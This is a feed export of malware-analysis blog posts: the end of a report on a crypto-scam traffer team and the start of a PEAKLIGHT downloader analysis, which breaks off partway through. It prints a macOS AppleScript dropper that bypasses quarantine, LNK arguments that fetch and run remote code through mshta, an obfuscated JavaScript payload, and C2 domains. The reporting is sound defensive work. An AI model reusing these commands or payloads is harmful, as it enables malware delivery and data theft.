src="https://cdn-images-1.medium.com/max/975/1*PgiYDQ7kLGdcO1WbUdYURg.png" /><figcaption>Landing page serving the Windows payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E1Y3iJDhzzyXrT5VCwbE6g.png" /><figcaption>Payload delivery for MacOS machines</figcaption></figure><p>Victims from both websites are tracked on the log channel under the Build IDs ”STF” on Strike Force and ”STL” for Strike League as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*gDA21UMnrH2N8j0TxN6-5Q.png" /><figcaption>Telegram logs (Build IDs “STF” and “STL”)</figcaption></figure><h3>Rocket Rumble</h3><p>There is another landing related to Wagmi named “Rocket Rumble”, which is another copy of the website of another mobile game named “Blast Royale”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yn4awOWpqs16sI3x3qh5lA.png" /><figcaption>Rocket Rumble landing page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pd029FNBbe61eBp4eqfVhA.png" /><figcaption>Wagmi malicious landing page (on the left), legitimate mobile game Blast Royale (on the right)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*nNPhrSccRKHrEspkURJPlg.png" /><figcaption>Landing page serving the Windows payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wjry6QAROi5BpKL0lRf3xQ.png" /><figcaption>Payload delivery for MacOS machines</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*52RST-dAujrDCl_fC7y2mQ.png" /><figcaption>Dropbox link served via API to download the payload</figcaption></figure><p>All of the API subdomains were built using the same template as the Sleipnir DAO Browser, one of the oldest landing pages used by the traffer team.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u9DhVEH9W2PFlNMcJGu3fQ.png" /><figcaption>Sleipnir DAO Browser template</figcaption></figure><p>The original website is still operational, but is sharing old builds. These subdomains are also delivering the same malware payloads for both Windows and MacOS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*LI8hR4x3L-odezBJNNXMiw.png" /><figcaption>Landing page serving the old Windows payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OGfAAaL42r2_JBrHIl8NDA.png" /><figcaption>Landing page serving the old MacOS payload</figcaption></figure><p>The Sleipnir browser website is still promoting an abandoned scam project by the Wagmi Team, the “Battle Ultimate game”, at the website battleultimate[.]xyz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*9lRNoAMeKeN1dNEep-Q88g.png" /><figcaption>Abandoned landing page referencing Battle Ultimate game hosted on Sleipnir browser website</figcaption></figure><h3>Activities Related to the Infrastructure at Wagmi Traffer Team</h3><p>In recent months, unusual activity has been detected that uses the same infrastructure as the traffer scam websites discussed in this blog but is not directly related to these scams.</p><p>In December 2024, a malware campaign impersonating PocketUniverseZ Chrome Extension and being promoted via Youtube Ads was <a href="https://x.com/g0njxa/status/1843238051201618290">reported on X</a>. We can still find, at the time of writing this report, a live (but with downloads disabled) example of this campaign at pocketuniverses[.]org.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Ob0L5mU3NfEMPrv0rzvWQ.png" /><figcaption>pocketuniverses[.]org</figcaption></figure><p>Hosting the fake Google Chrome Store at web-storechrome[.]com/detail/pocket-universe/gacgndbocaddlemdiaadajmlggabdeod. Further pivoting, we found a <a href="https://tria.ge/240829-3h687swhpf">sandbox sample</a>, which suggests that it delivers the similar payloads described in this blog.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KcIhcnf-8onRHS4SVMe8iQ.png" /><figcaption>Fake Google Chrome Store page</figcaption></figure><p>Please note that the web-storechrome[.]com website is hosted at 186.2.175[.]33, which we will call “Host B” for further analysis.</p><p>As mentioned before, all Windows builds being delivered by Wagmi Traffer team websites are using a common API path under the pattern: <em>/&lt;project_website&gt;/api/download&lt;project&gt;/&lt;code&gt;/win</em></p><p>The malicious builds shared on the fake PocketUniverseZ websites were using this delivery method through the SleipnirDAO browser website, as we can see below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8HTYdzAbrRATzUx9oeACdQ.png" /><figcaption>Source code of the fake Google Chrome Store page</figcaption></figure><p>The same code snippet could be found at that time, for example, in the source code of the Wagmi fake game “Battle Ultimate” previously mentioned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wo7atm3qfn5kM5qmWmOdKw.png" /><figcaption>Source code of Battle Ultimate landing page</figcaption></figure><p>At the time of this report, the download path for the observed PocketUniverseZ Malware Campaign is still present but non-functional, as confirmed by the API response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2iHnqSMo7880az_0JnYNFg.png" /><figcaption>API responses</figcaption></figure><p>In the logs channel, around the time when some of these fake PocketUniverseZ websites appeared, we found references to build IDs such as “pu” (likely stands for PocketUniverse), which lends credibility to our claims.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*3eE6roSyyp-OR4mc8fQRDA.png" /><figcaption>Telegram logs (Build IDs “pu”)</figcaption></figure><p>More alternative activity can be associated with this traffer team by looking at 185.149.120.235, which we will call “Host A”, and is currently the main host for all the Wagmi traffer scan projects websites since at least May 2024.</p><p>The domain currentsyb[.]com is recently being hosted at “Host A”. This domain is redirecting to a video link involved in a malicious YouTube Ads campaign promoting a Phantom wallet drainer. This campaign has been reported on X <a href="https://x.com/realScamSniffer/status/1892010617890013239">here</a> and <a href="https://x.com/g0njxa/status/1891990538724724984">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tsIz9d8nYNaNSEC26Yl1Xw.png" /><figcaption>A malicious YouTube Ads campaign promoting a Phantom wallet drainer</figcaption></figure><p>This campaign is luring people into running a malicious script in the browser console as a fake Jupiter Exchange exploit. To further verify our claims, the script is hosted in the domain gitproduction[.]com, which resolves to “Host B” — 186.2.175[.]33, previously reported and involved in the fake PocketUniverseZ campaign and linked to Wagmi Traffer Team.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8mzfgSbkgfMInGRVcsizcA.png" /><figcaption>Github repository hosting the malicious drainer script</figcaption></figure><p>Looking further into the malicious script, we can see the code is a wallet drainer specifically targeting Phantom wallet (Solana blockchain). After connecting to the victim’s wallet, it sends the stolen wallet data to the endpoint solapi[.]network. We can also see a reference to the directory D:\Скаммеры (which translates to “Scammers”) and the project folder “jup_bug_drain”, as well as the username “m4rce” and computer name “LAPTOP-9LDGB7NE” belonging to the threat actor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fs6O_EVb1jxTEzr0ac0naQ.png" /><figcaption>Malicious drainer file</figcaption></figure><p>While writing this blog, a more recent example of the odd activity performed by Wagmi was spotted. Wagmi decided to create a landing page delivering its Windows and MacOS stealer builds, disguised as an “AI Crypto Trading Bot” and promoting it <a href="https://x.com/realScamSniffer/status/1905240364673626297">via X Ads</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WClcmRwRKfa8v3XI-ykBJg.png" /><figcaption>AI Crypto Trading Bot landing page</figcaption></figure><p>Apart from sharing the same AMOS dropper for MacOS and the same C2 servers for builds as the landings of the team, the landing page is hosted in “Host A”, as previously mentioned.</p><p>Another malicious landing page also appeared to be hosted in “Host A”, although the download functionality remains disabled, and its usage in the wild remains unknown to us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2eA2HL9_LXNmG_kjVtb6Fw.png" /><figcaption>Voice Changer landing page</figcaption></figure><p>While these are just a few recent examples of activity related to the infrastructure of the Wagmi Traffer Team, there should be more relevant historical activity as “Host B” has hosted multiple drainer websites and other scam-related content, including, for example, Remix landing pages, used in scams as described <a href="https://medium.com/remix-ide/remix-in-youtube-crypto-scams-71c338da32d">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MZseAABdPK8bEs2E1IOOOQ.png" /><figcaption>Remix landing page</figcaption></figure><p>At some point, the Wagmi traffic team used several Zoom impersonation pages as “Host A” was hosting them, and logs with build ID “zm” appeared in the log channel. This is a more common activity present in traffer teams where the workers of these teams try to schedule a meeting with the victims and make them download a malicious build disguised as a Zoom Launcher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*NYrXT_u7wvd_-tg1O_-wyQ.png" /><figcaption>Telegram logs (Build IDs “zm”)</figcaption></figure><p>The threat actors behind the Wagmi Traffer team pose a significant threat to the web3 community and cryptocurrency users in general, not only for setting up an organized team of people willing to target individuals with their scam projects but also for trying to target people with other creative ideas as the ones we discussed in this section.</p><p>Upon the payload execution, the infection chain begins with a HijackLoader being injected into “more.com”, which led to the execution of tcpvcon.exe that’s dropped in the %TEMP%\21415 directory. Finally, this leads to the deployment of the LummaC2 infostealer as the final payload.</p><p>Observed Lumma configuration:</p><pre>  &quot;build_info&quot;: {<br>    &quot;user_id&quot;: &quot;xMnLq7&quot;,<br>    &quot;build_id&quot;: &quot;SPL&quot;<br>  },<br>  &quot;c2_domains&quot;: [<br>    &quot;pencilfight.]click&quot;,<br>    &quot;uncertainyelemz.]bet&quot;,<br>    &quot;hobbyedsmoker.]live&quot;,<br>    &quot;presentymusse.]world&quot;,<br>    &quot;deaddereaste.]today&quot;,<br>    &quot;subawhipnator.]life&quot;,<br>    &quot;privileggoe.]live&quot;,<br>    &quot;boltetuurked.]digital&quot;<br>  ]<br>}</pre><p>The Splare payload (c18a81864bf98ca0c4ec181a88750d27591cb7ff842ccb926da16d948ca07df0) analyzed was leveraging HijackLoader to deliver Rhadamanthys stealer. HijackLoader has numerous VM checks implemented. In vm_calc_cpu_cycles(), the function implements a timing technique to detect virtualization by measuring the execution duration of the CPUID instruction. It runs a loop 100 times, using the RDTSC instruction to capture CPU timestamps before and after executing CPUID. During each iteration, it calculates the time difference and adds it to a running total. The consistent timing differences occur because hypervisors must trap and emulate privileged instructions like CPUID, introducing measurable overhead compared to bare-metal execution. After collecting 100 samples, the function calculates the average execution time, which serves as an indicator of virtualization.</p><p>The vm_check_if_hypervisor_present() function uses a direct approach by executing CPUID with EAX=1 and examining bit 31 of the ECX register. This bit is specifically designed by <a href="https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/feature-discovery">Intel to indicate hypervisor presence</a> and is a standard mechanism for guest operating systems to detect when they’re running in a virtualized environment.</p><p>The vm_cpuid_check() function executes CPUID with EAX=0x40000000, which is the hypervisor leaf, and then checks if the returned EAX value is greater than or equal to 0x40000000 to determine if a hypervisor is present.</p><p>The mw_vm_additional_checks consists of username and computer name checks (checking if it’s numeric only) as well as the check if the executable is running from the user’s desktop.</p><p>The AntiVM module was also <a href="https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics">reported by Zscaler</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*c0931d9zThvsbgZ-EmUK0w.png" /><figcaption>Snippet of the anti-VM code</figcaption></figure><p>The most recent sample (1a5bf23e14f7432202546093a0e025ddacebec0458ff21c137bd2cd69b9efde4) is packed with a Delphi-based packer, which also contains a set of anti-VM functionalities.</p><p>The function in the screenshot below has two primary detection methods. The first approach checks for VMware’s I/O port by looking for the “VMXh” magic signature (0x564D5868), which is a standard identifier for VMware’s hypervisor communication channel. When this signature is detected, the code further identifies the specific VMware product (Express, ESX, GSX, Workstation, or generic VMware) and passes appropriate string identifiers to the VM handler function.</p><p>As a secondary detection mechanism, the code uses the CPUID instruction with hypervisor leaf 0x40000000 to detect VMware’s presence through its vendor ID string. This approach checks for “VMware” across three 32-bit values using little-endian encoding (0x61774D56 = “VMwa”, 0x4D566572 = “reVM”, 0x65726177 = “ware”).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*0BE6xEcnZVjrUJ9HUe9xYg.png" /><figcaption>VMWare detection function</figcaption></figure><p>Other than VMWare, the payload also checks for the presence of Sandboxie and VirtualBox.</p><p>For MacOS, Wagmi deploys an AMOS stealer. We wrote a configuration extractor that you can access <a href="https://github.com/RussianPanda95/IDAPython/tree/main/Atomic%20Stealer">here</a> as well as the <a href="https://x.com/g0njxa/status/1843238051201618290 https://tria.ge/240829-3h687swhpf https://x.com/realScamSniffer/status/1892010617890013239 https://x.com/g0njxa/status/1891990538724724984 https://medium.com/remix-ide/remix-in-youtube-crypto-scams-71c338da32d https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/feature-discovery https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics https://github.com/RussianPanda95/IDAPython/tree/main/Atomic Stealer https://ipinfo.io/tools/summarize-ips/eac434e6-b6b0- https://github.com/RussianPanda95/Yara-Rules/blob/main/AMOS/win_mal_amos_stealer.yar">Yara rule</a>.</p><p>Upon executing the MacOS initial payload, the following script is run (base64-encoded):</p><pre>#!/bin/bash<br>osascript -e &#39;on run<br>    try<br>        set diskList to list disks<br>    end try<br>    try<br>        repeat with disk in diskList<br>            if disk contains &quot;StolcAI&quot; then<br>                set targetDisk to disk<br>                exit repeat<br>            end if<br>        end repeat<br>    end try<br>    if targetDisk is &quot;&quot; then<br>        return<br>    end if<br>    set folderPath to &quot;/Volumes/&quot; &amp; targetDisk &amp; &quot;/&quot;<br>    set appName to &quot;.StolcAI&quot;<br>    set appPath to folderPath &amp; appName<br>    set tempAppPath to &quot;/tmp/&quot; &amp; appName<br>    try<br>        do shell script &quot;rm -f &quot; &amp; quoted form of tempAppPath<br>    end try<br>    try<br>        do shell script &quot;cp &quot; &amp; quoted form of appPath &amp; &quot; &quot; &amp; quoted form of tempAppPath<br>    end try<br>    try<br>        do shell script &quot;xattr -c &quot; &amp; quoted form of tempAppPath<br>    end try<br>    try<br>        do shell script &quot;chmod +x &quot; &amp; quoted form of tempAppPath<br>    end try<br>    try<br>        do shell script quoted form of tempAppPath<br>    end try<br>end run&#39;</pre><p>The decoded AppleScript above scans all mounted disks for a volume containing the name “StolcAI”. If found, it constructs a file path to a hidden application named .StolcAI on that volume, copies it to the /tmp directory, removes its extended attributes (likely to bypass macOS quarantine or Gatekeeper protections), marks it as executable, and finally runs it.</p><h3>Code signing certificate abuse</h3><p>Code signing certificate abuse is prevalent among criminal groups. These actors purchase legitimate certificates to sign their malware, effectively bypassing Windows SmartScreen alerts, reducing UAC prompts, and achieving low detection rates. This tactic creates a false sense of security for victims, significantly increasing infection success rates.</p><p>Wagmi consistently leverages this strategy to maintain clean malware builds.</p><p>At the time of this analysis, their older Windows payloads were signed with a GlobalSign GCC R45 EV CodeSigning CA 2020 certificate (serial number: 2da0f80711e5c40d36e8eef7) issued to a Vietnamese cosmetics company. This signature has since been successfully revoked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*53A7V2nCqlAQURl6Gk2EFA.png" /><figcaption>Payload signed with an EV certificate issued by GlobalSign (1)</figcaption></figure><p>Following the revocation, Wagmi shifted tactics and began signing new builds with another GlobalSign GCC R45 EV CodeSigning CA 2020 certificate (serial number: 19544e115f316c4b2f288a54). This certificate, issued to an Indian real estate company, has also been successfully revoked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*GL7fmXjv5rxUIJIJNsFhJw.png" /><figcaption>Payload signed with an EV certificate issued by GlobalSign (2)</figcaption></figure><p>Within days of transitioning from Lumma to Rhadamanthys, Wagmi resumed their certificate abuse tactics. Their new payloads were signed with yet another GlobalSign GCC R45 EV CodeSigning CA 2020 certificate (serial number: 332985d1583aa93bf6df0ffd) issued to a different Vietnamese company. This signature was promptly revoked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*JGTmrz2Yey4kNqwBYLShRw.png" /><figcaption>Payload signed with an EV certificate issued by GlobalSign (3)</figcaption></figure><p>Within days, Wagmi deployed a new certificate on their payloads. This time, they used another GlobalSign GCC R45 EV CodeSigning CA 2020 certificate (serial number: 5cf47c5f8a6b09ad2c71eeb9) issued to an Indian non-governmental organization. Like the previous certificates, this signature was also revoked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*gvvzYAIZIkRdLQRujVOZdg.png" /><figcaption>Payload signed with an EV certificate issued by GlobalSign (4)</figcaption></figure><p>Revoking certificates used in these malicious builds has proven effective not only in disrupting operations (as SmartScreen begins flagging the previously trusted executables) but also in imposing financial and operational costs on the threat actors. This protective measure helps shield potential victims from infection. We remain committed to monitoring and revoking certificates from these signed malware payloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*AkPyBXDcBSWWT4H3LSUSvg.png" /><figcaption>Wagmi discussing the issue of the new EV certificate after revocation</figcaption></figure><h3>Summarization of Victims</h3><p>From June 6, 2023, to April 2, 2025, this campaign <a href="https://ipinfo.io/tools/summarize-ips/eac434e6-b6b0-"><strong>has affected 2,422 victims</strong></a>. It’s important to note that this figure only includes victims directly linked to the landing pages documented in the Telegram log channel. The total victim count is potentially much higher, as these statistics don’t account for victims from the threat actor’s separate infostealer operations that occurred outside the tracked campaign infrastructure.</p><h3>Indicators of Compromise</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/983d43227ec095a7c34788b14d9d99d3/href">https://medium.com/media/983d43227ec095a7c34788b14d9d99d3/href</a></iframe><h3>References</h3><p><a href="https://x.com/g0njxa/status/1843238051201618290">https://x.com/g0njxa/status/1843238051201618290</a><br><a href="https://tria.ge/240829-3h687swhpf">https://tria.ge/240829-3h687swhpf</a><br><a href="https://x.com/realScamSniffer/status/1892010617890013239">https://x.com/realScamSniffer/status/1892010617890013239</a><br><a href="https://x.com/g0njxa/status/1891990538724724984">https://x.com/g0njxa/status/1891990538724724984</a><br><a href="https://medium.com/remix-ide/remix-in-youtube-crypto-scams-71c338da32d">https://medium.com/remix-ide/remix-in-youtube-crypto-scams-71c338da32d</a><br><a href="https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/feature-discovery">https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/feature-discovery</a><br><a href="https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics">https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics</a><br><a href="https://github.com/RussianPanda95/IDAPython/tree/main/Atomic">https://github.com/RussianPanda95/IDAPython/tree/main/Atomic</a> Stealer<br><a href="https://ipinfo.io/tools/summarize-ips/eac434e6-b6b0-">https://ipinfo.io/tools/summarize-ips/eac434e6-b6b0-</a><br><a href="https://github.com/RussianPanda95/Yara-Rules/blob/main/AMOS/win_mal_amos_stealer.yar">https://github.com/RussianPanda95/Yara-Rules/blob/main/AMOS/win_mal_amos_stealer.yar</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2803a15bf540" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PEAKLIGHT: Illuminating the Shadows]]></title>
            <link>https://medium.com/trac-labs/peaklight-illuminating-the-shadows-02a1bb44885c?source=rss-6a3005ed0ee2------2</link>
            <guid isPermaLink="false">https://medium.com/p/02a1bb44885c</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Malbear Labs]]></dc:creator>
            <pubDate>Tue, 07 Jan 2025 17:17:31 GMT</pubDate>
            <atom:updated>2025-01-07T17:17:31.595Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GId3Kjh1AoIGTrSGE04JzQ.jpeg" /></figure><p>PEAKLIGHT is an obfuscated PowerShell-based downloader, initially identified by Mandiant, which delivers malware-as-a-service infostealers. The initial infection vector was identified as a Microsoft Shortcut File (LNK), which connects to a content delivery network (CDN) that hosts a JavaScript dropper. The payload delivered via the dropper ultimately executes a PowerShell downloader script. Observed payloads include LummaC2, HijackLoader, and CryptBot.</p><p>The downloader is also being tracked as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.emmenhtal">Emmenhtal loader</a>.</p><h3>TRAC Labs Analysis</h3><h4>Initial Download</h4><p>The shortcut payloads were downloaded via the following URLs:</p><ul><li>hxxp://download.wsconnect[.]org/Downloads/Instruction_1928_W9COI.pdf.lnk</li><li>hxxp://download.wsconnect[.]org/Downloads/Agreement%20for%20YouTube%20cooperation.pdf.lnk</li></ul><p>The arguments of the “<em>Agreement for YouTube cooperation.pdf.lnk</em>” shortcut file:</p><pre>Arguments: /p C:\Windows /m notep*.exe /c &quot;powershell Start-Process \*i*\*2\msh*e hxxps://ctu.timeless-tales[.]shop/api/uz/0912545164/CharcoalWharf.json&quot;</pre><p>It leverages PowerShell as a LOLBin to execute the <strong>CharcoalWharf.json</strong> binary via <strong>mshta.exe</strong>.</p><p>The arguments of the “<em>Instruction_1928_W9COI.pdf.lnk</em>” shortcut file:</p><pre>Arguments: /p C:\Windows /m exp*.exe /c &quot;powershell Start-Process \*i*\*2\msh*e hxxps://pdb.timeless-tales[.]shop/api/reg/HardhatSeminar.json&quot;</pre><p><strong>mshta.exe</strong> is used to execute <strong>HardhatSeminar.json</strong></p><h4>CharcoalWharf Analysis</h4><p>Looking into the <strong>CharcoalWharf.json</strong> binary, we see the <strong>mshta.exe</strong> script contact hxxps://ctu.timeless-tales[.]shop/api/uz/0912545164/CharcoalWharf.json to download <strong>dxdiag.exe</strong>.</p><p>Initial analysis of the executable reveals an embedded obfuscated JavaScript payload using charCode encoding. The below script has been truncated:</p><pre>&lt;script&gt;<br>kG=102;bo=117;HB=110;bd=99;PK=116;Kg=105;Yz=111;bO=32;gd=101;uZ=72;kw=40;cE=89;nF=100;mk=41;eH=123;<br>ES=118;Ur=97;rN=114;Vb=104;ho=98;XN=61;kT=34;BI=59;wX=84;kB=83;kb=85;mB=48;Tn=60;eX=46;AB=108;Pq=103;<br>zI=43;Fr=67;Lh=109;IO=91;sE=93;wG=45;CX=54;MI=50;Cf=53;zc=125;Wc=112;fS=86;XD=55;jy=51;af=44;Yg=52;Ob=57;<br>NJ=49;xO=56;PW=65;Jf=81;eg=107;zw=80;aV=119;UV=88;sA=79;rW=106;lc=82;<br>var Hmi = <br>String.fromCharCode(kG,bo,HB,bd,PK,Kg,Yz,HB,bO,Yz,gd,uZ,kw,cE,bo,nF,mk,eH,ES,Ur,rN,bO,Vb,kG,ho,XN,bO,kT,kT,<br>BI,kG,Yz,rN,bO,kw,ES,Ur,rN,bO,wX,kB,kb,bO,XN,bO,mB,BI,bO,wX,kB,kb,bO,Tn,bO,cE,bo,nF,eX,AB,gd,HB,Pq,PK,Vb,BI,<br>bO,wX,kB,kb,zI,zI,mk,bO,eH,ES,Ur,rN,bO,Fr,ho,Kg,bO,XN,bO,kB,PK,rN,Kg,HB,Pq,eX,kG,rN,Yz,Lh,Fr,Vb,Ur,rN,Fr,Yz,<br>nF,gd,kw,cE,bo,nF,IO,wX,kB,kb,sE,bO,wG,bO,CX,MI,Cf,mk,BI,Vb,kG,ho,bO,XN,bO,Vb,kG,ho,bO,zI,bO,Fr,ho,Kg,zc,rN,<br>gd,PK,bo,rN,HB,bO,Vb,kG,ho,zc,BI,ES,Ur,rN,bO,Wc,fS,Yz,bO,XN,bO,Yz,gd,uZ,kw,IO,XD,jy,XD,af,XD,jy,CX,af,XD,Yg,<br>Yg,af,XD,MI,CX,af,XD,jy,Ob,af,XD,Yg,mB,af,XD,MI,Ob,af,XD,MI,CX,af,XD,jy,jy,af,XD,jy,jy,af,CX,XD,NJ,af,XD,MI,<br>CX,af,XD,Yg,Cf,af,XD,MI,CX,af,CX,Cf,XD,af,CX,XD,mB,af,XD,Yg,Yg,af,CX,Cf,XD,af,CX,XD,Yg,af,CX,Cf,XD,af,CX,XD,<br>mB,af,XD,MI,CX,af,XD,jy,XD,af,CX,Cf,XD,af,XD,NJ,mB,af,XD,jy,Cf,af,XD,jy,Ob,af,XD,MI,CX,af,XD,Yg,mB,af,XD,Yg,<br>NJ,af,XD,jy,Ob,af,XD,jy,mB,af,XD,MI,Yg,af,XD,Yg,NJ,af,XD,MI,CX,af,XD,MI,Cf,af,CX,Cf,XD,af,CX,XD,mB,af,XD,jy,<br>Cf,af,XD,jy,CX,af,XD,jy,XD,af,CX,Cf,XD,af,XD,MI,XD,af,XD,Yg,MI,af,XD,jy,Cf,af,XD,MI,Yg,af,XD,Yg,NJ,af,XD,jy,<br>mB,af,XD,jy,CX,af,XD,jy,Cf,af,CX,Cf,XD,af,XD,MI,Yg,af,XD,jy,jy,af,XD,MI,CX,af,XD,MI,MI,af,XD,jy,Cf,af,CX,Cf,<br>XD,af,CX,CX,Cf,af,CX,CX,NJ,af,CX,Ob,NJ,af,XD,Yg,mB,af,XD,Yg,Cf,af,XD,mB,mB,af,XD,Yg,Cf,af,CX,CX,CX,af,XD,Yg,<br>xO,af,XD,jy,Ob,af,XD,MI,CX,af,XD,Yg,NJ,af,XD,Yg,MI,af,XD,jy,Ob,af,XD,jy,Cf,af,CX,Cf,XD,af,CX,XD,mB,af,XD,Yg,<br>mB,af,XD,jy,XD,af</pre><p>charCode values were mapped to appropriate values for deobfuscation:</p><pre>&lt;script&gt;<br>102=102;117=117;110=110;99=99;116=116;105=105;111=111;32=32;101=101;72=72;40=40;89=89;100=100;41=41;<br>123=123;118=118;97=97;114=114;104=104;98=98;61=61;34=34;59=59;84=84;83=83;85=85;48=48;60=60;46=46;108=108;<br>103=103;43=43;67=67;109=109;91=91;93=93;45=45;54=54;50=50;53=53;125=125;112=112;86=86;55=55;51=51;44=44;<br>52=52;57=57;49=49;56=56;65=65;81=81;107=107;80=80;119=119;88=88;79=79;106=106;82=82;<br>var Hmi = <br>String.fromCharCode(102,117,110,99,116,105,111,110,32,111,101,72,40,89,117,100,41,123,118,97,114,<br>32,104,102,98,61,32,34,34,59,102,111,114,32,40,118,97,114,32,84,83,85,32,61,32,48,59,32,84,83,85,32,60,32,89,<br>117,100,46,108,101,110,103,116,104,59,32,84,83,85,43,43,41,32,123,118,97,114,32,67,98,105,32,61,32,83,116,114,<br>105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,89,117,100,91,84,83,85,93,32,45,32,54,50,53,41,<br>59,104,102,98,32,61,32,104,102,98,32,43,32,67,98,105,125,114,101,116,117,114,110,32,104,102,98,125,59,118,97,<br>114,32,112,86,111,32,61,32,111,101,72,40,91,55,51,55,44,55,51,54,44,55,52,52,44,55,50,54,44,55,51,57,44,55,52,<br>48,44,55,50,57,44,55,50,54,44,55,51,51,44,55,51,51,44,54,55,49,44,55,50,54,44,55,52,53,44,55,50,54,44,54,53,55,<br>44,54,55,48,44,55,52,52,44,54,53,55,44,54,55,52,44,54,53,55,44,54,55,48,44,55,50,54,44,55,51,55,44,54,53,55,44,<br>55,49,48,44,55,51,53,44,55,51,57,44,55,50,54,44,55,52,48,44,55,52,49,44,55,51,57,44,55,51,48,44,55,50,52,44,55,<br>52,49,44,55,50,54,44,55,50,53,44,54,53,55,44,54,55,48,44,55,51,53,44,55,51,54,44,55,51,55,44,54,53,55,44,55,50,<br>55,44,55,52,50,44,55,51,53,44,55,50,52,44,55,52,49,44,55,51,48,44,55,51,54,44,55,51,53,44,54,53,55,44,55,50,52,<br>44,55,51,51,44,55,50,54,44,55,50,50,44,55,51,53,44,54,53,55,44,54,54,53,44,54,54,49,44,54,57,49,44,55,52,48,44,<br>55,52,53,44,55,48,48,44,55,52,53,44,54,54,54,44,55,52,56,44,55,51,57,44,55,50,54,44,55,52,49,44,55,52,50,44,55,<br>51,57,44,55,51,53,44,54,53,55,44,54,55,48,44,55,52,48,44,55,51,55,44,55,51,51,44,55,51,48,44,55,52,49,44,54,53,<br>55,44,54,54,53,44,54,54,49,44,54,57,49,44,55,52,48,44,55,52,53,44,55,48,48,44,55,52,53,44,54,53,55,44,54,55,48,<br>44,55,51,57,44,55,50,54,44,55,51,55,44,55,51,51,44,55,50</pre><p>charCode values were then converted to reveal a highly obfuscated PowerShell script:</p><pre>function oeH(Yud){var hfb= &quot;&quot;;for (var TSU = 0; TSU &lt; Yud.length; TSU++) {var Cbi = <br>String.fromCharCode(Yud[TSU] - 625);hfb = hfb + Cbi}return hfb};var pVo = <br>oeH([737,736,744,726,739,740,729,726,733,733,671,726,745,726,657,670,744,657,674,657,<br>670,726,737,657,710,735,739,726,740,741,739,730,724,741,726,725,657,670,735,736,<br>737,657,727,742,735,724,741,730,736,735,657,724,733,726,722,735,657,665,661,691,740,745,<br>700,745,666,748,739,726,741,742,739,735,657,670,740,737,733,730,741,657,665,661,691,740,<br>745,700,745,657,670,739,726,737,733,722,724,726,657,664,671,671,664,669,657,664,673,745,<br>661,663,657,664,666,750,684,661,703,738,691,698,708,741,657,686,657,724,733,726,722,735,<br>665,664,678,691,678,694,675,682,682,682,694,680,691,690,695,675,691,695,691,693,675,692,<br>694,692,681,677,692,693,674,677,673,679,693,678,679,680,679,690,691,678,679,695,692,680,<br>694,679,676,693,679,692,694,674,679,677,677,673,673,673,690,674,673,682,693,677,678,677,<br>675,673,682,682,679,680,693,682,675,681,682,691,682,693,690,681,677,692,679,680,678,678,<br>682,674,682,677,695,680,679,682,694,692,693,674,674,690,678,681,682,693,674,678,678,675,<br>673,694,692,674,679,690,695,680,678,677,690,678,690,677,693,675,680,676,690,677,694,677,<br>694,680,682,692,678,692,677,693,692,674,673,673,694,676,678,682,682,690,679,675,676,676,<br>695,691,673,675,694,678,695,695,692,674,692,679,693,694,690,691,677,695,682,691,692,673,<br>692,675,676,680,682,690,690,678,691,693,676,694,692,692,674,695,677,673,682,693,674,677,<br>682,693,674,675,682,677,681,677,690,680,691,679,690,674,679,673,679,678,680,681,682,680,<br>692,680,695,691,691,694